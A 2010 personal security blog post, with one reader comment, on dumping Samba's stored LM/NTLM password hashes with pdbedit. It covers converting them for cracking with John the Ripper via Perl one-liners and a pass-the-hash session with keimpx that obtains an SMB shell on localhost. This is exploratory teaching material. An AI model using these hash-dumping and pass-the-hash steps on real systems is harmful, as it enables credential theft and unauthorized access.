2010-07-04 22:16:01
By Tim Brown
So the other day, I was pondering whether it might be possible to use the passwords Samba stores as a crib to crack Unix level passwords. On my home NAS, Samba uses a plain text smbpasswd file like so:
# cat /var/private/smbpasswd user:1002:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:[U ]:LCT-4C30C756:
You'll notice here that the file contains two obfuscated strings. These, it turns out correspond to the passwords hashed with the LM and NTLM algorithms typically associated with CIFS. This is great because as we all know LM hashes are broken.
On my laptop which runs Debian unstable, things are slightly different. Rather than the plaintext smbpasswd file, the hashes are stored in a binary file under /var/lib/samba/passdb.tdb. Whereas on Windows, one might need to resort to one of the PWDump variants to dump the hashes this file contains, Samba comes with the rather useful pdbedit which can parse both forms of the password file and display the contents in human readable form:
# pdbedit -s /etc/samba/smb.conf -L -v Unix username: user NT username: Account Flags: [U ] User SID: S-1-5-21-2206498007-1140406565-3673201852-3004 Primary Group SID: S-1-5-21-2206498007-1140406565-3673201852-513 Full Name: Some User Home Directory: \\localhost\user HomeDir Drive: Logon Script: Profile Path: \\localhost\user\profile Domain: localhost Account desc: Workstations: Munged dial: Logon time: 0 Logoff time: Tue, 19 Jan 2038 01:14:07 GMT Kickoff time: Tue, 19 Jan 2038 01:14:07 GMT Password last set: Sun, 04 Jul 2010 18:39:34 BST Password can change: Sun, 04 Jul 2010 18:39:34 BST Password must change: Tue, 19 Jan 2038 01:14:07 GMT Last bad password : 0 Bad password count : 0 Logon hours : FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
So far so good but this doesn't seem to include any hashes. Well, pdbedit also has the ability to convert the binary file back its older smbpasswd form:
# pdbedit -s /etc/samba/smb.conf -L -w user:1000:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:0CB6948805F797BF2A82807973B89537:[U ]:LCT-4C2D1AD9:
Unlike my NAS, we can see that here Samba is only storing passwords using the more secure NTLM algorithm. It turns out this behaviour is controlled by the lanman auth directive.
So now that we have some hashes to play with, how can we go about cracking them? The following one liner will spit out pdbedit's output in a PWDump compatible format such that it can be user by John The Ripper:
# pdbedit -L -w | perl -e 'while (<>) { @smbpasswd = split(/:/, $_); print $smbpasswd[0] . ":" . $smbpasswd[1] . ":" . (($smbpasswd[2] eq "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX") ? "NO PASSWORD*********************" : $smbpasswd[2]) . ":" . (($smbpasswd[3] eq "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX") ? "NO PASSWORD*********************" : $smbpasswd[3]) . ":::\n"; }'
You'll need to tell John which set of hashes (those from LM or NTLM) you wish to crack using the --format directive.
Finally, for kicks, I tried a hash passing session using keimpx to exploit known protocol weakness in CIFS:
# ./keimpx.py -t 127.0.0.1 -p 139 -c ./c This product includes software developed by CORE Security Technologies (http://www.coresecurity.com), Python Impacket library keimpx 0.3-dev by Bernardo Damele A. G. <bernardo.damele@gmail.com> The credentials worked in total 1 times TARGET SORTED RESULTS: 127.0.0.1:139 user/01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 USER SORTED RESULTS: user/01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 127.0.0.1:139 Do you want to get a shell from any of the targets? [Y/n] Y Which target do you want to connect to? [1] 127.0.0.1:139 > 1 Which credentials do you want to use to connect? [1] user/01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 > 1 # shares [1] public (type: 0, comment: ) [2] user (type: 0, comment: ) [3] IPC$ (type: 3, comment: IPC Service (localhost)) Which share do you want to connect to? (default 1) 2 # ls Sat Jan 9 22:12:43 2010 <DIR> . Mon Feb 2 18:15:44 2009 <DIR> ..
Mood: Happy
Music: Sam And The Plants - Open Cluster
You are unknown, comment
2011-09-22 14:00:55
Thanks! and shorter perl
© unknown
Thanks for this post, which saved me a lot of time. If you care, here is a much shorter version of your command-line, which makes use of useful perl's command-line options and syntax: pdbedit -L -w | perl -a -F: -ne 'for ($F[2], $F[3]) { s/^X+$/NO PASSWORD*********************/ }; print join(":", @F[0..3]), ":::\n";' -a is autosplit (to the @F array) -F: sets the field delimiter to ":" -n makes the while loop A regex can be used to replace the Xes join() saves you a lot of string concatenation